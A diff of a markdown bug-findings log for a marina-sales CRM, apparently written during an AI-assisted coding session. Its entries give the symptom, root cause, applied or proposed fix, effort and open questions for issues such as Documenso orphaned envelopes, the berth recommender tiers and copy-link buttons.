+- **Why gate on length only (not all three dimensions):** length is the primary ranking input in the recommender's SQL; width / draft fall back to length when missing. Requiring all three would hide the panel for partial-data interests where the recommender still has signal.
+- **Alternatives considered + rejected:**
+  - Show the panel but collapsed by default — rejected because reps still see the empty card; defeats the user's "hide entirely" ask.
+  - Keep the dedicated tab but show the empty-state inside — rejected for the same reason; the user wants the tab gone too.
+- **Effort:** ~15 min.
+- **Cross-refs:** related to the Bucket 3 wizard refactor / OverviewTab inheritance finding — both touch what gets shown to a rep on the Overview tab as a function of what data is present.
+- **Acceptance criteria:** an interest with `desiredLengthFt = NULL` shows no recommender card on Overview AND no "Berth Recommendations" tab in the strip. Setting desired length via the inline editor causes both to appear immediately (TanStack Query refetch).
+
+### Per-berth public-map flag — should inherit on subsequent surfaces
+
+- **`OPEN — needs user clarification on which surface specifically`**
+- **React-grab anchor:** `<label class="flex items-cent..." />` in `DismissableLayer` in `FocusScope` in `Presence` (i.e., inside a Radix Dialog or Sheet).
+- **User's message (verbatim):** "this should inherit from on the overview page if the berths on the interest record are marked as being changed/updated on the public map."
+- **Best-guess interpretation:** the label-anchor lives inside a dialog (DismissableLayer / FocusScope wrap is Radix's modal portal). Most likely candidates given recent UAT focus:
+  1. **EOI generate dialog** (`src/components/documents/eoi-generate-dialog.tsx`) — when the rep generates an EOI from the dialog, a checkbox controls whether the in-bundle berths' public-map status flips to "Under Offer." That checkbox should default to ON when any of the linked berths already have `is_specific_interest=true`, OR be defaulted based on those existing flags.
+  2. **External EOI upload dialog** — same logic, parallel checkbox.
+  3. **Reservation generate / external upload** — same pattern at a later stage.
+  4. **Bulk berth-tagging surfaces** — less likely given the recent flow.
+- **Root cause hypothesis:** these dialogs currently default their map-flip checkbox to a static value (probably `true`), without reading the existing per-row `is_specific_interest` flags on the interest's `interest_berths` rows. So a rep who explicitly turned the flag OFF on the linked-berths list (because they didn't want the map to flip yet) gets the dialog overriding their choice.
+- **Fix proposal (when target surface is confirmed):**
+  1. Query the interest's `interest_berths` rows when the dialog opens. Derive the default: if ANY in-bundle berth has `is_specific_interest=true`, default the dialog's checkbox to true. Otherwise default false.
+  2. Better: surface a per-row indicator inside the dialog showing the current map flag state per berth, so the rep sees which berths will / won't flip and can override per-row.
+  3. Wire submit to honour those per-row toggles instead of a single global checkbox.
+- **Effort:** ~30 min for option 1 (single dialog), ~1.5h for option 2 (per-row UI) once the target dialog is identified.
+- **Open questions for the user:**
+  1. **Which dialog were you looking at when you flagged this?** Best to confirm before I touch any code — the label anchor doesn't uniquely identify it. Screenshot of the dialog would close the gap immediately.
+  2. **Default semantic:** when ANY in-bundle berth has the flag on, should the dialog default the public-map flip to ON, or should it match the MAJORITY of berths' flags, or should it always be a deliberate per-dialog choice?
+
+### Documenso upload — title transfer (verification + concern)
+
+- **`VERIFIED WORKING (no fix needed); UX cue queued`**
+- **Files inspected:** _src/lib/services/custom-document-upload.service.ts_ (line 388 `documensoCreate(title, ...)`).
+- **User concern:** "not sure if the name I gave the document transferred through to the documenso document (not sure if i gave it a name or left it default)."
+- **Verification:** the upload-for-signing service passes the `title` field through to `documensoCreate(title, pdfBase64, ...)` at line 388. Documenso's create call accepts the title verbatim. Same pattern in the EOI generate flow (template-based) — title is sent via the template-generate API.
+- **Why the user couldn't tell:** the dialog's submission flow returns to the EOI tab + document list without surfacing the title that ended up on the Documenso side. If the rep left it default (no title input) the local CRM defaulted to something like "Dashboard report — 22_05_2026" (per screenshot evidence) — Documenso received exactly that string. Nothing was lost.
+- **Queued UX fix (small):** after a successful send, show the title prominently in the success toast ("Sent for signing: 'Dashboard report — 22_05_2026' → Documenso") so the rep can immediately confirm what name landed on the receiving side. Bundle with the broader Documenso upload audit (above).
+
+### Documenso upload + delete — orphaned envelopes when CRM document row has no documensoId
+
+- **`OPEN (multiple linked bugs; root cause shared with the silent-partial-state finding above)`**
+- **Files implicated:**
+  - _src/lib/services/custom-document-upload.service.ts:498_ (`documensoId` is only written to the CRM row AFTER `placeFields` succeeds).
+  - _src/lib/services/documents.service.ts:648_ (`deleteDocument` — best-effort void only runs `if (existing.documensoId)`; skips silently when null).
+  - _src/lib/services/documents.service.ts:2220_ (`cancelDocument` — same gated void at line 2240).
+  - _src/lib/services/documents.service.ts:192_ (`listDocuments` filters out `status='deleted'` by default).
+  - _src/components/interests/interest-eoi-tab.tsx:121_ (EOI tab query).
+- **Symptom chain (UAT 2026-05-26):**
+  1. Rep uploads a custom doc via UploadForSigningDialog → field placement throws (the "missing recipientId" bug captured above). Before my session fix, the throw bypassed the rollback. So:
+     - Documenso side: envelope created, recipients distributed, no fields placed.
+     - CRM side: document row at `status='draft'`, `documensoId=NULL` (never written because line 498 is after the throw).
+  2. Rep "removed the EOI" via the CRM UI — but the doc STILL displays as DRAFT in the EOI tab.
+  3. Rep also confirms it wasn't deleted from Documenso side either.
+- **Root cause (multi-part):**
+  - **A. CRM lost the link to Documenso.** Because step 1 left `documensoId=NULL` on the CRM row, both `deleteDocument` and `cancelDocument` skip the Documenso void call (`if (existing.documensoId)` short-circuits). The CRM has no way to find the envelope to void. Documenso is now hosting an orphaned envelope.
+  - **B. Whatever "remove" action the rep took didn't transition the status.** The screenshot shows the doc still as DRAFT after the rep's remove attempt. If `cancelDocument` had run, status would be `cancelled`. If `deleteDocument` had run, the row would be filtered out of the EOI tab list (line 195 excludes `status='deleted'`). So the rep's action either errored silently OR triggered a route we haven't identified.
+  - **C. The earlier silent-partial-state bug is the seed.** Without my session fix to the rollback, every failure of `placeFields` left a phantom draft + orphaned envelope. Reproduced reliably until the rollback fires correctly.
+- **Hypothesis ladder for the "remove" action that didn't take:**
+  1. The rep clicked a cancel/delete affordance but the request 4xx'd (permission denied, validation error) and the toast was missed. The list query never re-ran because the mutation didn't onSuccess-invalidate.
+  2. The rep deleted from Documenso UI directly (not the CRM), and confused that with a CRM-side remove. The CRM still has the row.
+  3. There IS a CRM-side button that hit a route we missed — e.g. a soft-archive that doesn't change status.
+- **Fix proposal (multi-layer):**
+  1. **Persist `documensoId` IMMEDIATELY after `documensoCreate`, not at the end.** Move the `UPDATE documents SET documensoId=...` call to right after `documensoCreate` succeeds (line ~388). Subsequent failures will still rollback the status, but the CRM retains the Documenso reference so void calls work. Acceptable risk: the row briefly has a documensoId but status='draft'; the rollback path resolves it.
+  2. **Audit every CRM-side "remove EOI / cancel doc / delete doc" affordance.** Each one should: (a) check the rep has permission, (b) call the right service (`cancelDocument` for active flows, `deleteDocument` for drafts), (c) onSuccess-invalidate the relevant queries, (d) surface toast on error not just silently swallow. List candidates: EoiCancelDialog (line 25 of interest-eoi-tab), the EOI tab's per-row kebab actions (currently in interest-eoi-tab.tsx near the doc list render), the docs hub kebab actions, the document detail page's Cancel/Delete buttons.
+  3. **Surface "this row has no Documenso link" in the UI.** When a CRM doc has documensoId=NULL but status not in {draft (pre-send), deleted}, render a small warning chip ("Documenso link lost — cancel + recreate this doc") with a "Repair" CTA that voids the envelope IF the rep can supply a Documenso id, or marks the doc cancelled + lets them recreate.
+  4. **Reconciliation cron / repair script.** Periodic (or admin-triggered) job that lists Documenso envelopes the CRM doesn't have a row for, surfaces them for review. Catches orphans across upgrades / past partial failures.
+- **Effort:**
+  - Fix #1 (persist documensoId early): ~20 min including a test that verifies the rollback still voids correctly.
+  - Fix #2 (cancel/delete affordance audit): ~2h depending on how many call sites exist.
+  - Fix #3 (UI orphan warning): ~1h.
+  - Fix #4 (reconciliation script): ~2h.
+- **Cross-refs:**
+  - The earlier finding (above) — "Documenso upload — silent partial-state when field placement fails" — fixes the rollback path going forward. THIS finding addresses the orphans created BEFORE that fix landed + the cancel/delete affordances that miss the void path generally.
+  - Pairs with the comprehensive Documenso upload audit (Bucket 3 — referenced above as `Documenso upload — silent partial-state ...`).
+- **Open questions for the user:**
+  1. Which "remove" action did you click — the per-row kebab in the EOI tab, the EoiCancelDialog, the docs hub kebab, or the document detail page Cancel/Delete button? Knowing which path you used narrows the diagnosis.
+  2. Is the orphaned envelope in Documenso still there (you said you deleted from Documenso side too — did that succeed)? If yes, the orphan is gone and the CRM-side cleanup is the only remaining work. If no, we need the manual repair pattern in the meantime.
+  3. Do you want a one-time admin script that scans for orphaned Documenso envelopes / dangling CRM rows now (to clean up everything created during this UAT session), or is that overkill and you'd rather just nuke the dev DB?
+
+### Document signing flow — copy-link parity across surfaces
+
+- **`SHIPPED locally (not yet committed)`**
+- **Files touched:** _src/components/documents/signing-progress.tsx_ (the canonical shared component).
+- **React-grab anchor:** `<div class="relative flex i..." />` in `SigningProgress` in `ActiveEoiCard` in `InterestEoiTab`.
+- **Symptom:** rep wanted to copy a signer's signing link to send via WhatsApp / Slack / in person, but the per-signer row only showed "Send invitation" (or "Send reminder") — Copy link wasn't visible because it was rendered behind a conditional that hid the button entirely when `signingUrl` was falsy. So if Documenso hadn't issued the URL yet, or the field wasn't populated on the signer record, the rep couldn't copy at all and had no signal that copy was even an option.
+- **Root cause:** the previous render at signing-progress.tsx:400 read `{signer.status === 'pending' && signer.signingUrl ? <CopyButton /> : null}` — both pending status AND a non-empty URL were required. Reps with a freshly-created envelope (URL not yet on the row) saw only the Send invitation button.
+- **Fix applied:** changed the condition to render the Copy link button whenever `signer.status === 'pending'`, and disable the button (with a clarifying tooltip — "Signing URL is not available yet — Documenso issues it once the document has been sent.") when `signingUrl` is missing. Available tooltip: "Copy this signer's signing link to your clipboard so you can share it directly (Slack, WhatsApp, in person) without going through email." Style upgraded from `ghost` to `outline` so it reads as a peer action to Send invitation / Send reminder instead of a tertiary affordance.
+- **Surface coverage:** SigningProgress is the single canonical signing-progress component (used by ActiveEoiCard / InterestReservationTab / InterestContractTab / DocumentDetail / DocumentDetail signers section via #67 doc-detail polish). One fix lands everywhere.
+- **Alternatives considered + rejected:**
+  - Always show "Copy link" enabled and silently fail when URL is missing — rejected; reps would copy emptystring and ship a broken link in chat.
+  - Show "Copy link" only after invitation is sent — rejected because the design comment (line 388–393) explicitly calls out reps wanting to preview / share the URL BEFORE the formal email goes out.
+- **Effort:** ~10 min for the condition flip + tooltip; ~0 min for the cross-surface coverage because SigningProgress is shared.
+- **Cross-refs:** the prior session shipped the Documenso v2 distribute-response field plumbing that populates `signingUrl` (`c4450dd` lineage). This finding is the UI follow-up.
+- **Acceptance criteria:** every pending signer row in every document signing surface shows BOTH a Copy link button (disabled when URL not yet issued, tooltip explaining why) AND the appropriate Send invitation / Send reminder primary action.
+
+### UploadForSigningDialog — "Recipient" label is too thin for a load-bearing choice
+
+- **`SHIPPED locally (not yet committed)`**
+- **Files touched:** _src/components/documents/upload-for-signing-dialog.tsx_ (FieldSidePanel, ~line 1399).
+- **React-grab anchor:** `<label class="font-medium pee...">Recipient</label>` in `Label` in `FieldSidePanel` at `upload-for-signing-dialog.tsx:1376:4`.
+- **Symptom:** the FieldSidePanel — the right-hand "Field properties" panel that opens when the rep selects a placed signature/text/date/checkbox field on the PDF — labels its signer-assignment dropdown with the single bare word `Recipient`. The user flagged this as non-descriptive: the field is **load-bearing** because it determines which of the document's recipients will see and fill that specific field at signing time. A wrong selection sends the field to the wrong person; a confused rep skips the step and Documenso defaults to the first recipient. "Recipient" by itself doesn't communicate any of that — it reads like a passive metadata label, not an active assignment choice.
+- **Root cause:** the panel was scaffolded as a generic Type / Recipient / Value triplet without UX copy. The Select dropdown DOES populate correctly (recipients come from the dialog's `recipients` prop with `#order Name/Email` formatted), so the wiring is fine — the gap is purely the label + a missing explainer.
+- **Fix applied:**
+  1. Label text changed from `Recipient` → `Assign this field to`. Active verb makes it clear this is a deliberate choice the rep is making, not a metadata read-out.
+  2. Helper paragraph added below the dropdown: "Whoever is selected here is the only person who will see and fill this field when the document is sent for signing." Plain English, explicit consequence.
+- **Alternatives considered + rejected:**
+  - Renaming to "Signer" alone — rejected because the document recipient list can include CC / approver roles that aren't strictly signers, and "Signer" implies they sign.
+  - Using a per-recipient color-coded chip strip instead of a dropdown — rejected because reps frequently need to assign 10+ fields across multiple recipients in dense forms; a dropdown is faster than chips at that volume. Could be a future enhancement bundled with field-placement keyboard shortcuts.
+- **Effort:** ~5 min (the fix itself). The rejected color-coded-chip alternative would be ~2h.
+- **Cross-refs:** prior session shipped `c4450dd` (field metadata panel + payload extension); this is a follow-up polish on the same panel.
+- **Acceptance criteria:** the FieldSidePanel's recipient-assignment row reads "Assign this field to" with the helper sentence below, and the dropdown still populates the document's recipients in signing-order with `#order Name/Email` formatting.
+
+### Recommender card — Heat badge needs explainer tooltip
+
+- **`SHIPPED locally (not yet committed)`** — _src/components/interests/berth-recommender-panel.tsx_ (RecommendationCard Heat badge).
+- **Symptom:** "Heat 81" badge rendered with no explanation of what the number means. The tier badge next to it already has a Popover; the heat badge was a plain span.
+- **Fix applied:** badge converted to a Popover trigger. Popover surfaces the headline ("Heat score · 81 / 100"), explains the formula in plain English ("how warm this berth is for a re-pitch — recency × furthest stage × interest count × EOI count"), shows the four component scores from `rec.heat.*`, and notes that admins tune the weights in Admin → Recommender.
+
+### Recommender card — area letter duplicates mooring number
+
+- **`SHIPPED locally (not yet committed)`** — _src/components/interests/berth-recommender-panel.tsx_ (RecommendationCard header).
+- **Symptom:** card rendered `E1` followed by a separate "E" label. Mooring number already carries the area letter as a prefix (canonical `^[A-Z]+\d+$` per CLAUDE.md), so the standalone area letter was pure visual noise — same complaint as the BerthPicker fix earlier this session.
+- **Fix applied:** removed the area-letter span from RecommendationCard.
+
+### Recommender tier contradicts berth status
+
+- **`SHIPPED locally (not yet committed)`** — _src/lib/services/berth-recommender.service.ts:223_ (`classifyTier`) + _src/components/interests/berth-recommender-panel.tsx_ (card render).
+- **Fix applied:** `TierInputs.status` propagated end-to-end. `classifyTier` now collapses the contradiction: `status='sold'` → D, `status='under_offer'` (with or without active interest rows) → C, otherwise existing rules. `RawRow.status` already feeds in via `classifyTier(r)`.
+- **Symptom:** berth D39 shows both `Under Offer` (status pill) AND `Open` (recommender tier). The tooltip definition contradicts itself: "Open: never had an interest, ready for new prospects."
+- **Root cause:** `classifyTier` only reads from `interest_berths` aggregates (active count / lost count / max active stage). A berth whose `berths.status` column says `Under Offer` — set manually by an admin, imported from NocoDB, or left over from a stale row — has zero entries in interest_berths if no active interest is currently driving the status, so the tier classifier returns A (Open). The two signals come from different sources and aren't reconciled.
+- **Fix:** add `berthStatus` to `TierInputs` and bias `classifyTier`:
+  - If `berthStatus === 'Sold'` → return `'D'` (treat sold the same as a late-stage active interest, since the rep should treat it as effectively closed; we still surface it as a backup option).
+  - If `berthStatus === 'Under Offer'` AND `activeInterestCount === 0` → return `'C'` (someone is on it according to the public map even if interest_berths doesn't know who). The competing-interest chip from the previous finding then surfaces who that someone is.
+  - Otherwise fall through to existing rules.
+- **Alternative considered:** filter Under Offer / Sold berths out of recommendations entirely. Rejected because reps DO use the recommender to surface backup options for "this might fall through" planning. The tier should just match the reality.
+- **Effort:** ~30–45 min (TierInputs widen + plumb berth status through the aggregator query + adjust the tooltip copy so "Open" / "Active interest" labels stay coherent).
+
+### Berth occupancy info — surface competing interest on every non-available status
+
+- **`SHIPPED locally (not yet committed)`** — _src/components/berths/berth-occupancy-chip.tsx_ (shared chip) + adopted in _linked-berths-list_ (LinkedBerthRowItem) + _berth-recommender-panel_ (recommendation cards) + _interest-berth-status-banner_ (deal-level banner).
+- **Fix applied:** new `<BerthOccupancyChip berthId excludeInterestId={currentInterestId} />` reuses `/api/v1/berths/[id]/active-interests`. Renders inline on every non-available status surface (linked-berths list, recommender cards, deal banner). Hides when the only competing interest is the current one.
+- **React-grab anchors:** `<span>Under Offer</span>` in StatusPill in LinkedBerthRowItem; same pill in the recommender card body.
+- **Symptom:** anywhere a berth's status renders as "Under Offer" / "Sold" / "Reserved" the rep currently has no idea WHO is responsible for that status. They have to navigate to the berth detail page (or guess) to find the competing interest or the closed-deal client.
+- **Fix:** reuse the existing `/api/v1/berths/[id]/active-interests` endpoint (shipped for the columns popover + `InterestBerthStatusBanner`) and surface the top competing interest inline on every non-available status surface. Show client name + stage pill + a link to the competing interest detail. Hide when the only competing interest is the current one (self-conflict makes no sense to flag).
+- **Recommended implementation:** extract a small `<BerthOccupancyChip berthId={...} excludeInterestId={currentInterestId} />` component that runs the query, renders the chip when there's something to surface, and shares behaviour across:
+  - `LinkedBerthRowItem` (per linked berth on the interest detail)
+  - `BerthRecommenderPanel` recommendation card body (per recommended berth)
+  - `InterestBerthStatusBanner` (deal-level banner — already does this; migrate to use the shared chip so the rendering stays consistent)
+  - `berth-columns.tsx` active-interests popover (already exists; keep its richer multi-row popover, but reuse the data fetcher).
+- **Effort:** ~1.5–2h. Single new shared component + 3 call-site adoptions + the deal-level banner migration. Closes the "who owns this berth right now" gap platform-wide in one pass.
+
+### NotesList source badge — clickable navigation to source entity
+
+- **`SHIPPED locally (not yet committed)`** — _src/components/shared/notes-list.tsx_.
+- **Symptom:** the "Yacht · Test Yacht" badge on aggregated notes (e.g. on a client's Notes tab, surfacing a note left on their linked yacht) was a plain `<span>` — no way to pivot from the note to the source entity without leaving the page.
+- **Fix applied:** badge is now a `<Link>` to the source entity's detail page when `sourceId` is available (clients/companies/yachts/interests/residential variants all covered). New `sourceLinkFor(portSlug, source, sourceId)` helper centralises the URL mapping. `stopPropagation` keeps any outer row-click handler from interfering.
+
+### Notes tab header count doesn't aggregate
+
+- **`SHIPPED locally (not yet committed)`** — _src/lib/services/notes.service.ts_ (new `countFor{Client,Yacht,Company}Aggregated`) + _clients.service.ts_, _yachts.service.ts_, _companies.service.ts_ (wired into `getById` responses) + _yacht-tabs.tsx_, _company-tabs.tsx_ (badge prop).
+- **Fix applied:** new symmetric-reach count helpers in `notes.service.ts` mirror the existing `listFor*Aggregated` joins. Client tab counts client + interest + yacht (owned) + company (active membership) notes; yacht tab counts yacht + polymorphic-owner + linked-interest notes; company tab counts company + owned-yacht + their-interest notes. `getYachtById` / `getCompanyById` now return `noteCount`; tab definitions render the badge.
+
+### Admin toggle to disable Tenancies entirely
+
+- **`PARTIALLY SHIPPED`** — backend exists, admin UI missing. _src/lib/services/tenancies-module.service.ts_ (`disableTenanciesModule(portId)` + companion `isTenanciesModuleEnabled` + the `tenancies_module_enabled` setting) + _src/app/api/v1/admin/tenancies-module/\*_.
+- **Symptom / user ask:** rep is in "pure sales mode" — doesn't want Tenancies spilling into the UI yet. Wants an admin-level switch to turn the module off so the sidebar entry / entity tabs / dashboard widgets / top-level page all hide.
+- **Status:** the platform already supports this (per docs/tenancies-design.md §"Platform-wide module-enabled rule"). What's MISSING is the admin Operations toggle in the settings UI: a Switch wired to `POST /api/v1/admin/tenancies-module/enable` / `POST .../disable`, with the disable path showing a confirmation modal ("This will hide N existing tenancies — data is preserved but invisible until re-enabled. Continue?"). Per the design doc the helper copy reads: "When enabled, the platform tracks who occupies each berth (Tenancies). Without it, sold berths stay sold but the platform doesn't model the occupancy record."
+- **Fix:** add the Switch to `src/app/(dashboard)/[portSlug]/admin/operations/page.tsx` (or wherever the operations settings live), wire to the existing endpoints, gate behind `admin.manage_settings`. ~45 min.
+
+### Activity feeds — generic "updated this record" hides real changes
+
+- **`PARTIALLY SHIPPED locally (yacht transfer only)`** — _src/lib/services/yachts.service.ts:215_ (transferOwnership) + _src/components/shared/entity-activity-feed.tsx:26_ (ACTION_VERBS) + every other service that writes audit_log entries with `action: 'update'` and no `fieldChanged`.
+- **Symptom:** EntityActivityFeed reads audit_logs and falls back to "X updated this record" when the row has no `fieldChanged`. Major lifecycle events (yacht owner transfer, interest stage transitions, berth status flips, document state changes) write that exact generic row, so the feed loses ALL useful detail — defeats the audit-trail purpose.
+- **Yacht-transfer fix shipped:** `transferOwnership` now resolves both the old + new owner names (client → fullName / company → name), writes the audit row with `action: 'transfer'`, `fieldChanged: 'owner'`, `oldValue: oldOwnerName`, `newValue: newOwnerName`, plus reason/notes in metadata. EntityActivityFeed's `ACTION_VERBS` gains `transfer → 'transferred'`. Result: "Matt transferred owner to Jane Smith" instead of "Matt updated this record."
+- **Still open — sweep across every audit-log writer:** every other service emitting `action: 'update'` with no `fieldChanged` (or with an object as `newValue`) needs the same treatment. Pattern: discrete action verb + named field + human-readable old/new values. Candidates surfaced in earlier audits: interest stage transitions, berth status flips, document send / sign / cancel events, eoi auto-cancel, tenancy activate / end / transfer, payment record/delete. Each is ~10min of service-layer surgery; the bulk is the sweep.
+
+### Activity feed UI — standardize across every entity surface
+
+- **`OPEN`** — _src/components/shared/entity-activity-feed.tsx_ (the shared primitive) + every page that mounts an activity feed (client, interest, yacht, berth, company, tenancy, document).
+- **Symptom:** the user judges the client + interest activity feeds as the best-presented; other surfaces feel inconsistent. The shared `EntityActivityFeed` IS the same component across consumers, so the visual difference must be in (a) which surfaces still use a bespoke per-entity feed rather than the shared one, or (b) which surfaces pass which props (filters, empty-state copy, session-grouping window).
+- **Fix:** audit every place an activity feed renders. Anything that's bespoke gets migrated to the shared `EntityActivityFeed`. Anything that already uses the shared component but passes weak props (no filter dropdowns, no session collapsing) gets brought up to the client/interest baseline. Bundle with the audit-log content sweep above so the entries the feed renders are also comprehensive.
+
+### CompanyPicker — empty on open
+
+- **`SHIPPED locally (not yet committed)`** — _src/app/api/v1/companies/autocomplete/handlers.ts_ + _src/lib/services/companies.service.ts:303_.
+- **Symptom:** CompanyPicker popover opens empty even though the port has companies on file. Has to type something before any options surface.
+- **Root cause:** the autocomplete handler returned `{ data: [] }` immediately when `q` was empty; the picker fires its first query with `debounced=''`, so the list was always empty on first open.
+- **Fix applied:** empty `q` now returns the 10 most-recently-updated companies for the port (still capped to 10, matching the typed-search path). Non-empty `q` keeps the existing ilike-match.
+
+### Yacht transfer dialog — drop "atomic" from copy
+
+- **`SHIPPED locally (not yet committed)`** — _src/components/yachts/yacht-transfer-dialog.tsx:136_.
+- **Symptom:** dialog description says "The change is auditable and atomic." — "atomic" is engineering jargon, doesn't mean anything to a normal user.
+- **Fix applied:** rewrote to "The change is logged in the audit history." Same meaning, no jargon.
+
+### ClientTenanciesTab — pending tenancies invisible
+
+- **`SHIPPED locally (not yet committed)`** — _src/lib/services/clients.service.ts:415_.
+- **Symptom:** rep creates a tenancy via "Create tenancy" (status `pending`), sidebar Tenancies entry surfaces (lazy module flip works), but the client detail's Tenancies tab shows the empty state. Same for any pending tenancy auto-created from a signed Reservation Agreement webhook before the rep confirms activation.
+- **Root cause:** `clients.service.getById` filters `activeTenancies` to `status === 'active'` only. Pending rows fall outside that filter and never reach the tab.
+- **Fix applied:** filter widened to `inArray(status, ['pending', 'active'])`. The `TenancyList` component already renders a status pill per row so the rep distinguishes pending from active without a section split.
+
+### TenancyList rows — not clickable to tenancy detail
+
+- **`SHIPPED locally (not yet committed)`** — _src/components/tenancies/tenancy-list.tsx_.
+- **Symptom:** rows in the Tenancies sections (client tab, berth tab, yacht tab, top-level `/tenancies`) carry per-cell links for berth / client / yacht but no way to open the tenancy itself. Reps had to click the contract link or hunt for an edit affordance.
+- **Fix applied:** rows now navigate to `/{portSlug}/tenancies/{id}` on click. Inner links/buttons (BerthLink, ClientLink, YachtLink, "View contract") still fire their own behaviour because the click handler bails when the target is inside an `<a>` or `<button>`. Keyboard support: Enter/Space on the row also opens detail.
+
+### BerthPicker — area suffix duplicates the group heading
+
+- **`SHIPPED locally (not yet committed)`** — _src/components/shared/berth-picker.tsx:141_ (labelFor).
+- **Symptom:** every option rendered as `Berth A1 · A`, `Berth B5 · B` etc. The mooring number is already prefixed with the area letter, and the dropdown groups options under area-letter headings. The trailing ` · A` reads as visual noise.
+- **Fix applied:** dropped the area suffix from `labelFor` — rows now read `Berth A1`, `Berth B5`. Group heading still carries the area context. Same fix lands across every consumer of BerthPicker (tenancy create / renew / transfer dialogs, interest form, linked-berths add, etc.) because the label is centralized.
+
+### Tag chips missing wherever StageStepper renders
+
+- **`SHIPPED locally (not yet committed)`** — _src/components/clients/client-pipeline-summary.tsx_ + _src/components/clients/client-interests-tab.tsx_.
+- **Fix applied:** every StageStepper call site (Overview top-deal block, Overview interest list, Interests-tab row item, Interests-tab detail panel) renders a tag-chip strip under the stepper. ClientInterestRow type carries `tags?: Array<{ id, name, color }>` and the interests list endpoint resolves the join in a single batch.
+- **React-grab anchor:** `<div class="flex-1 truncate...">Qual.</div>` in StageStepper in InterestRowItem in ClientInterestsTab.
+- **Symptom:** the InterestRowItem cards show berth label + stage badge + stepper, but no tag chips. Tags are first-class on interests everywhere else (detail page, list view) — the same chips should follow the StageStepper everywhere it appears so reps see "Hot lead / VIP / Returning client" context at a glance without drilling in.
+- **Fix:** (a) extend `ClientInterestRow` with `tags?: Array<{ id, name, color }>` and surface from `useClientInterests` (`/api/v1/interests?clientId=X`). (b) Render a small tag-chip strip just above or below the StageStepper in InterestRowItem + every other StageStepper call site (currently `client-interests-tab.tsx:88, 263`, `client-pipeline-summary.tsx:224, 340`). (c) Cap to ~3 chips with a "+N" overflow indicator so long tag lists don't blow up the row height.
+
+### New-document "Upload file" — unclear where the file lands
+
+- **`SHIPPED locally (not yet committed)`** — _src/components/documents/new-document-menu.tsx_ (Upload file dialog's `onUploadComplete`).
+- **Fix applied:** per-file completion now emits a `toast.success('Uploaded <filename>')` with an action link. When the upload happened under an entity (clients/companies/yachts) the action navigates to that entity's detail page; otherwise it opens the destination folder via `/documents?folderId=…`. Still deferred (lower priority): naming the destination folder verbatim in the pre-upload dialog description.
+
+### Recent files — no link to folder or attached entity
+
+- **`SHIPPED locally (not yet committed)`** — _src/components/documents/hub-root-view.tsx_ + _src/lib/services/files.ts_ (`listFiles`).
+- **Fix applied:** each row in the Recent files panel shows a folder chip (linking to `/documents?folderId=…`) and an entity badge (Interest / Client / Yacht / Company → entity detail page). `listFiles` already resolves `folderName / clientName / yachtName / companyName / interestSummary` in a single batched lookup so no N+1 cost.
+- **React-grab anchor:** `<h3 class="flex items-cent...">Recent files</h3>` in HubRootView.
+- **Symptom:** each recent-file row only shows filename + size + date; the rep has to remember which client / interest the file belongs to. No CTA to jump into the parent folder either.
+- **Fix:** extend row payload with `{ folderId, folderName, clientId, clientName, interestId, interestBerthLabel }`. Render a small badge column showing the attached entity (client name or interest's berth label, like the EntityFolderView pattern already shipped). Right-hand action gains an icon button "Open folder" that navigates to the folder view in Documents Hub.
+
+---
+
+## Bucket 2 — Medium (15 min – 2 h)
+
+### Supplemental-info form — no port branding, no logo on top
+
+- **`SHIPPED locally (not yet committed)`** — _src/app/public/supplemental-info/[token]/page.tsx_ + _src/components/shared/branded-auth-shell.tsx_ + _src/lib/services/supplemental-forms.service.ts_ (loadByToken).
+- **Fix applied:** `loadByToken` now returns `port: { name, logoUrl, backgroundUrl }` via `getPortBrandingConfig(token.portId)`. Page passes that directly to `BrandedAuthShell` via the explicit `branding` prop so the logo + backdrop render regardless of the route-group context.
+
+### Supplemental-info form — extends edge-to-edge on long forms
+
+- **`SHIPPED locally (not yet committed)`** — _src/components/shared/branded-auth-shell.tsx_.
+- **Fix applied:** added a `width?: 'sm' | 'md'` prop. `'md'` widens the card to `max-w-xl` and swaps the `fixed inset-0` viewport pin for a normal `min-h-dvh` page scroll, so a 20+ field form scrolls naturally on mobile instead of clipping under the rubber-band cap. Login surfaces stay on `'sm'` (default) with the original pinned-and-centered shell.
+
+### Supplemental-info form — address fields incomplete
+
+- **`SHIPPED locally (not yet committed)`** — _src/app/public/supplemental-info/[token]/page.tsx_ + _src/app/api/public/supplemental-info/[token]/route.ts_ + _src/lib/services/supplemental-forms.service.ts_.
+- **Fix applied:** form now exposes street + city + region/state + postal code + country as separate inputs, mirroring the `client_addresses` shape. `loadByToken` returns the existing values for prefill; the API schema accepts the new fields; `applySubmission` diffs + writes them per-column with field-history entries.
+
+### Supplemental-info form — no context about where details land
+
+- **`SHIPPED locally (not yet committed)`** — _src/app/public/supplemental-info/[token]/page.tsx_.
+- **Fix applied:** added the port name as an eyebrow above the title ("PORT NIMARA") and a clarifying line in the intro: "Submissions go straight to the team handling your application." The success state also references the port name explicitly.
+
+### Marketing-site form parity — primary surface lives on the website
+
+- **`OPEN`** (cross-repo) — _docs/marketing-site-followups.md_ for the spec; CRM keeps the `/public/supplemental-info/[token]` route as fallback.
+- **Symptom / direction:** the marketing site should host the public-facing supplemental-info form (and any other public client forms, e.g. the EOI pre-flight intake) so the polish matches the rest of the public surface. The CRM-hosted page stays as the operator-safe fallback if the marketing site is down or not pointed at.
+- **Fix:** document the API contract in `docs/marketing-site-followups.md` (route, payload shape, prefill response, submission schema, token expiry behaviour) so the marketing-site team can build the equivalent. Per-port hardcoded form layouts are fine on the marketing-site side; the CRM API stays generic.
+
+### Interest OverviewTab — inherit empty fields from client + visually denote
+
+- **`SHIPPED locally (not yet committed)`** — _src/components/interests/interest-tabs.tsx_ (OverviewTab + EditableRow).
+- **Fix applied:** EditableRow gains an `inheritedFrom?: 'client' | 'yacht' | 'company'` prop that renders a small "from client" / "from yacht" pill next to the label. Wired on the Email + Phone rows so reps know edits propagate to the client-level contacts table. Yacht-dimension inheritance was already in place via the `yachtDimensions` payload + per-axis "from yacht" pill in the desired-dimensions block; both inheritance signals now use the same visual language.
+- **React-grab anchor:** `<div class="space-y-1" />` in OverviewTab, inside the TabsContent presence wrapper.
+- **Symptom:** the OverviewTab shows interest-level fields that, when empty, render as " - ". If the client (or linked yacht for dimensions) already has those details on file, the rep has to navigate to the client / yacht to see them. Adds friction + risks reps re-asking the client.
+- **Fix:** when an interest field is null but the client/yacht has it filled, render the inherited value with a small visual cue (e.g. italic + a "from client" or "from yacht" pill). Editing in place should write to the interest's own column (override). Specific candidates:
+  - Berth requirements (desiredLengthFt/widthFt/draftFt) → fall back to linked yacht's lengthFt/widthFt/draftFt.
